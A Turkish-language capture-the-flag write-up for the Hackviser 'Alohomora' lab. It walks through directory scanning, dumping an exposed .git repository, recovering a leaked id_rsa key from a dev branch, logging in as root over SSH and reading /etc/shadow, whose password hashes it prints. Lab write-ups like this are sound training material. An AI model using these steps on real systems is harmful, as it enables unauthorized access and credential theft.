

ALOHOMORA WRITE-UP

Merhaba arkadaşlar. Bugün sizlerle Hackviser platformunda bulunan Alohomora adlı Warmup' ını yazacağım.

SORU 1: Blog yazarının e-posta adresi nedir?

Bu sorunun cevabını bulmak için gobuster ile dizin taraması yaptım.

```
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/about.php (Status: 200) [Size: 5175]
/index.php (Status: 200) [Size: 7267]
```

Daha sonra about.php sayfasına gittim.

Welcome to my digital sanctuary. Prepare to be enchanted.

Contact

tommy@cyberwand-blog.com

Cevap: tommy@cyberwand-blog.com

SORU 2: Dizin keşfinde bulunan ve içinde git ile ilgili dosyalar bulunan dizinin adı nedir?

Bu noktada bilgi toplamak için Nmap taraması atalım.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol
| ssh-hostkey:
|   3072 29:e6:ac:56:fe:dc:e2:6a:ec:d4:14:29:3a:16:96:87 (RSA)
|   256  8e:60:ad:51:a7:8d:de:4f:67:06:6b:34:a2:c3:7e:57 (ECDSA)
|_  256  d2:13:49:d0:57:00:0d:a9:c0:51:b7:b4:8b:84:f8:a3 (ED2551
80/tcp    open  http     Apache httpd 2.4.56 ((Debian))
|_ http-server-header: Apache/2.4.56 (Debian)
|_ http-title: Cyberwand Blog
|_ http-git:
|   172.20.42.94:80/.git/
|   Git repository found!
```

Cevap: **.git**

(Nmap taraması sonucunun en alt kısmında bu dizini bize gösteriyor.)

Ayrıca dirsearch aracını kullanalım.

```
[13:08:32] Starting:
[13:08:33] 301 - 309B - /js → http://172.20.42.94/js/
[13:08:34] 301 - 311B - /.git → http://172.20.42.94/.git/
[13:08:34] 200 - 270B - /.git/config
```

Yine cevabı bulduk.

SORU 3: Geliştiricinin kullanıcı adı nedir?

Bu sorunun cevabı için bir önceki soruda bulduğumuz .git dizinine gidiyoruz. Burada config.php var.

```
← → ↻ ⚠ Not secure 172.20.42.94/.git/config

[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
[remote "origin"]
  url = https://github.com/tomriddlex1/cyberwand-blog.git
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
```

İçine bakınca cevaba ulaşıyoruz. Cevap: **tomriddlex1**

SORU 4: Hangi branch aktif?

Bir önceki fotoğrafta en alt kısımda “main” branch’ının aktif olduğunu görüyoruz.

SORU 5: Commitleri gösteren git komutu nedir?

Commitleri gösteren git komutu “git log” komutudur.

SORU 6: Branch i değiştiren git komutu nedir?

Bir önceki soru bu soru da Google üzerinde araştırma yaparak bulunacak sorulardan birisidir.

Cevap: **checkout**

SORU 7: Dev branchinde unutulmuş dosyanın adı nedir?

Şimdi .git dosyası için “git-dumper” aracı ile bu verileri çekelim.

```
(root@kali)-[/tmp/git-dumper]
# git-dumper http://172.20.42.94/.git/ ./site
```

Diğer site klasörü içine atalım.

```
(root@kali)-[/tmp/git-dumper/site]
ls
about.php bootstrap.bundle.min.js css db_connection.php hack.jpg index.php js post.php README.md
```

Elimizde dosyalar var.

```
(root@kali)-[/tmp/git-dumper/site]
# git branch -a
* main
remotes/origin/HEAD → origin/main
remotes/origin/dev
remotes/origin/main

(root@kali)-[/tmp/git-dumper/site]
# git checkout dev
branch 'dev' set up to track 'origin/dev'.
Switched to a new branch 'dev'

(root@kali)-[/tmp/git-dumper/site]
# ls -l
total 5016
-rw-r--r-- 1 root root 5175 Nov 28 13:42 about.php
-rw-r--r-- 1 root root 80420 Nov 28 13:39 bootstrap.bundle.min.js
drwxr-xr-x 2 root root 60 Nov 28 13:39 css
-rw-r--r-- 1 root root 345 Nov 28 13:39 db_connection.php
-rw-r--r-- 1 root root 5018200 Nov 28 13:39 hack.jpg
-rw-r--r-- 1 root root 2602 Nov 28 13:42 id_rsa
-rw-r--r-- 1 root root 4322 Nov 28 13:39 index.php
drwxr-xr-x 2 root root 60 Nov 28 13:39 js
-rw-r--r-- 1 root root 3088 Nov 28 13:39 post.php
-rw-r--r-- 1 root root 16 Nov 28 13:39 README.md

(root@kali)-[/tmp/git-dumper/site]
#
```

Git branch -a

komutu ile branch’ları görüntüledik.

“Git checkout dev” diyerek dev branchına geçiş yaptık. Ls -l ile içindeki dosyaları görüntüledik.

Burada “id_rsa” dosyası bulduk.

SORU 8: hackviser kullanıcısının parola hashi nedir?

Önceki görevde bulduğumuz id_rsa dosyası ile ilgili Google üzerinde araştırma yaptığımızda SSH'a bağlanmak için kullanılan bir anahtar dosyası olduğunu anlıyoruz.

İlk başta ssh ile bağlanmayı denedim hata aldım. Daha sonra id_rsa dosyasına chmod +x ile yetki verdim. Tekrar denedim.

```
# ssh -i id_rsa root@172.20.42.94
Linux debian 5.10.0-25-amd64 #1 SMP Debian 5.10.191-1 (2023-08-16) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov 28 05:50:32 2024 from 10.8.4.9
root@debian:~#
```

Başarılı bir şekilde bağlantı

kurduk. Şimdi hash bulmak için /etc/shadow dosyasını görüntülemeyi deneyelim.

```
root@debian:~# cat /etc/shadow
root:$y$j9T$FhwqPaKRedFFyPJ7SKu7P0$Wnd6W3W2*8ZqEwQL.mBBwp4FhXdsWumiZuKIGoDvqKB:19636:0:99999:7:::
daemon:*:19636:0:99999:7:::
bin:*:19636:0:99999:7:::
sys:*:19636:0:99999:7:::
sync:*:19636:0:99999:7:::
games:*:19636:0:99999:7:::
man:*:19636:0:99999:7:::
lp:*:19636:0:99999:7:::
mail:*:19636:0:99999:7:::
news:*:19636:0:99999:7:::
uucp:*:19636:0:99999:7:::
proxy:*:19636:0:99999:7:::
www-data:*:19636:0:99999:7:::
backup:*:19636:0:99999:7:::
list:*:19636:0:99999:7:::
irc:*:19636:0:99999:7:::
gnats:*:19636:0:99999:7:::
nobody:*:19636:0:99999:7:::
_apt:*:19636:0:99999:7:::
systemd-network:*:19636:0:99999:7:::
systemd-resolve:*:19636:0:99999:7:::
messagebus:*:19636:0:99999:7:::
systemd-timesync:*:19636:0:99999:7:::
sshd:*:19636:0:99999:7:::
hackviser:$y$j9T$FOWx5qCAorpq72xggPErc0$zkgSTMnKfdrb/jH1zRKBvHCIsNCtmPElDaM4TjhNE7B:19636:0:99999:7:::
systemd-coredump:!:19636:0:99999:7:::
mysql:!:19636:0:99999:7:::
```

CEVAP: \$y\$j9T\$FOWx5qCAorpq72xggPErc0\$zkgSTMnKfdrb/jH1zRKBvHCIsNCtmPElDaM4TjhNE7B